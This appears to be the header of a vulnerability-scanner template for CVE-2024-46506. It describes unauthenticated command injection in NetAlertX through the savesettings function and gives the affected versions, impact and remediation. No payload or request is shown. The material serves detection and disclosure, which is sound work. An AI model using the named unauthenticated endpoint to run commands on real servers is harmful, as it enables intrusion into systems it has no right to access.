NetAlertX 23.01.14–24.x < 24.10.12 - Remote Code Execution

id: CVE-2024-46506

info:
  name: NetAlertX 23.01.14–24.x < 24.10.12 - Remote Code Execution
  author: s4e-io
  severity: critical
  description: |
    NetAlertX 23.01.14 through 24.x before 24.10.12 allows unauthenticated command injection via settings update because function=savesettings lacks an authentication requirement, as exploited in the wild in May 2025. This is related to settings.php and util.php.
  impact: |
    Unauthenticated attackers can execute arbitrary commands on the NetAlertX server without authentication.
  remediation: |
    Update NetAlertX to version 24.10.12 or later.
